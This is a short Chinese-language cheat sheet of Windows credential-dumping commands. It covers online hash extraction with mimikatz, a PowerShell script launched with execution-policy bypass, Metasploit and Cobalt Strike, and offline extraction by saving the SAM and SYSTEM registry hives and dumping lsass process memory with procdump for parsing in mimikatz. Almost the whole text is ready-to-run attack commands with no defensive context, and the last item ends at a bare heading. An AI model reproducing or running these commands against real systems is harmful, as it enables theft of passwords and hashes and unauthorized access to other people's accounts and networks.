hash抓取总结

抓hash方法

1. mimikatz

privilege::debug
token::whoami
token::elevate
lsadump::sam

privilege::debug
sekurlsa::logonpasswords

2. ps脚本

powershell -exec bypass Import-Module 
.\Get-PassHashes.PS1 
Get-PassHashes

3. msf

run hashdump
use mimikatz

4. cs

hashdump
wdigest
logonpasswords

离线抓取

1. SAM文件

reg save hklm\sam sam.hiv
reg save hklm\system system.hiv
#使用mimikatz
lsadump::sam /sam:sam.hiv /system:system.hiv

2. lsass.exe(注入lsass.exe进程，并从其内存中提取)

procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::mimidump lsass.dmp" "log" "sekurlsa::logonpasswords"

3. 手工导出lsass.dmp文件